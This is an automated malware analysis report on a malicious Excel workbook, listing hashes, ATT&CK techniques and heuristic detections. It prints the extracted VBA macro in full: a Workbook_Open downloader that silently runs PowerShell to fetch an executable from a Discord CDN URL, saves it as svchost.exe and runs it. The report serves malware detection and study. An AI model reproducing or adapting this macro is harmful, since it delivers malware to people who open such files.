Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8a846d5bdd8de3fb…

MALICIOUS

Office (OOXML)

15.3 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-12
MD5: 0a022c201ac7318e1a42f303648dc7d0 SHA-1: 48fdf290f361c4897088613642272dd029fefd5e SHA-256: 8a846d5bdd8de3fbeabff6ff4f6e4e3a37b903a295e6f97fe0fc38bca571d020
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open VBA macro executes a PowerShell command to download a file named Google_Chrome.exe from a Discord CDN URL to c:\Temp\svchost.exe. It then attempts to execute the downloaded file. This indicates a downloader or dropper functionality, aiming to fetch and run a secondary payload.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn.discordapp.com/attachments/705060807007797254/895308883457871952/Google_Chrome.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1032 bytes
SHA-256: 91576d5723dfb627b6b1ce904a09f0a353c1656199cddaa8f8d5c3fc03aafd18
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Dim myCommand As String
    myCommand = "powershell -nologo -noninteractive -windowStyle hidden -command Invoke-WebRequest https://cdn.discordapp.com/attachments/705060807007797254/895308883457871952/Google_Chrome.exe -OutFile c:\Temp\svchost.exe"
    Set WsShell = CreateObject("WScript.Shell")
    WsShell.Run (myCommand), 0, 1
    WsShell.Run ("c:\Temp\svchost"), 0, 0
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13312 bytes
SHA-256: b6fbb99a8e8b74796710f353cfe278cca8c4aae542b6d8f7dc73376023f22cb3